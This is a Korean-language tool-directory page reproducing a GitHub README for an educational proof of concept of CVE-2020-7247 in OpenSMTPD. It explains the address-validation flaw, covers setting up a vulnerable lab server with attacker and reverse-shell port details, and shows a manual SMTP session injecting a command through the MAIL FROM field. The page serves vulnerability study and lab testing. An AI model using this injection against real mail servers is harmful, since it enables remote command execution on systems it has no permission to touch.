Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-7247-POC — 교육 목적의 CVE-2020-7247 개념 증명 | Kitploit
도구/GitHubGitHub/simonschoeni/cve-2020-7247-poc
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationPayload DevelopmentEmail Security
GitHubsimonschoeni/cve-2020-7247-poc

CVE-2020-7247-POC

교육 목적의 CVE-2020-7247 개념 증명

저장소 보기
24년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
  • 서문
  • 익스플로잇에 대한 주요 사실
  • 취약한 서버 설치
    • 설정
    • 환경 관련 주의사항
  • 익스플로잇
    • 수동 익스플로잇
    • 스크립트를 이용한 익스플로잇

서문

이 저장소는 통제된 개인 환경에서 CVE-2020-7247을 설정하고 익스플로잇하기 위한 기반을 제공합니다. 게시된 모든 코드와 설정은 오직 이 취약점을 테스트하기 위한 목적이며, 자신의 시스템이 아니거나 익스플로잇 허가를 받지 않은 시스템을 남용하기 위한 것이 아닙니다. 이 저장소의 소유자는 제3자가 이 도구를 사용하는 것에 대해 책임을 지지 않습니다.

익스플로잇에 대한 주요 사실

코드의 주요 문제는 메일 검증이 제대로 작동하지 않는다는 점입니다. 이로 인해 MAIL FROM 및 RCPT TO 필드에 잠재적으로 위험한 문자가 전달될 수 있습니다.
메일 주소의 로컬 부분이 유효하지 않은 경우에도 도메인 부분이 추가된 후 유효한 것으로 간주되어 처리되므로 공격자가 임의의 코드를 실행할 수 있습니다.

root@kitploit:~
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2229                 if (maddr->domain[0] == '\0') {
2230                         (void)strlcpy(maddr->domain, domain,
2231                             sizeof(maddr->domain));
2232                         return (1);
2233                 }
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }

안전한 코드는 다음과 같아야 합니다.

root@kitploit:~
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }

Opensmtpd는 이어서 소위 MDA 명령어를 실행합니다. 이 명령어는 메일 전달에 사용되며 다음과 같습니다.

root@kitploit:~
asprintf(&dispatcher->u.local.command,
            "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");

여기서 이미 문제가 보일 것입니다. mbox.from은 발신자 주소로, 공격자가 완전히 제어할 수 있습니다.
그러나 공격자는 셸코드에서 다음 목록에 포함되지 않은 문자만 사용할 수 있습니다: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
여기서 전체 공개됨

취약한 서버 설치

서버를 실행할 배포판은 자유롭게 선택할 수 있습니다. 저는 Ubuntu 18.04 LTS에서 테스트했습니다.
chmod +x setup.sh를 실행하여 설정 스크립트를 실행 가능하게 만드세요. 필요한 곳에만 sudo 권한을 포함시켰으므로 일반 사용자로도 사용할 수 있습니다. (물론 사용자는 sudoer여야 합니다.)
설정 스크립트는 smtpd 자체에 필요한 모든 종속성을 설치하고 설정 파일을 해당 위치로 복사합니다.
Opensmtpd 6.6.1이 설치됩니다.
수동으로 opensmtpd를 실행해야 하거나 스크립트에 오류가 있는 경우 다음을 실행하세요.

root@kitploit:~
cd /usr/local/sbin
sudo smtpd
또는 
sudo smtpd -dv # 디버그 출력용

설정

이 저장소의 설정은 로컬 테스트용으로만 작성되었습니다. 외부 도메인/고급 설정은 포함하지 않습니다.
aliases와 smtpd.conf는 이 서버 설정에 필요한 두 개의 설정 파일입니다. 원하는 대로 변경할 수 있습니다. 설정은 제 테스트 서버용으로 작성되었음을 유의하세요. 제 서버 이름은 ase(smtpd.conf의 @ase 지시문)였고 사용자 이름은 ase(aliases 사용자 설정)였습니다.
smtpd.conf에서 <YOUR IP>를 서버의 IP로 바꿔야 합니다. 그렇지 않으면 smtpd가 시작되지 않습니다.

환경 관련 주의사항

이 환경에서 IP 주소나 포트를 발견한 경우, 제가 사용한 환경의 주요 정보를 제공하니 필요에 따라 변경하세요.

  • 서버 이름: ase
  • 사용자 이름: ase
  • SMTPD 서버 IP: 192.168.1.40
  • SMTPD 포트: 25
  • 공격자 IP: 192.168.1.31
  • 리버스 셸 포트: 1337

익스플로잇

제공된 익스플로잇은 Python 3.x를 사용합니다. pwn 종속성을 사용합니다. 이 익스플로잇을 사용하려면 pwntools를 pip3 install pwntools로 설치해야 합니다.
기본적으로 이 익스플로잇은 사용자 상호작용 없이 자동으로 취약점을 익스플로잇합니다. 그러나 Python 스크립트 없이 수동으로도 수행할 수 있습니다.

수동 익스플로잇

앞서 언급했듯이 제공된 Python 스크립트 없이도 익스플로잇을 실행할 수 있습니다. SMTP 절차를 수동으로 따라야 합니다. netcat 또는 telnet을 사용하여 수행할 수 있습니다.
다음은 수동으로 수행하는 한 가지 예입니다.

root@kitploit:~
telnet <서버 IP> 25
HELO attacker
250 ase Hello attacker [<클라이언트 IP>], pleased to meet you
MAIL FROM:<;여기에 셸코드 입력;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

오, 너 털렸다
.
250 2.0.0 48bb34d2 Message accepted for delivery

스크립트를 이용한 익스플로잇

제공된 스크립트를 사용할 수도 있습니다. 사용 가능한 매개변수는 다음과 같습니다.

  • --targetHost 대상 지정 (필수).
  • --targetPort 대상 포트 지정 (필수).
  • --customCommand 주입할 명령어 지정.

shellcode.py는 원격 셸 코드가 어떻게 생겼는지 보여주는 예시입니다. \

익스플로잇 데모

도구 다운로드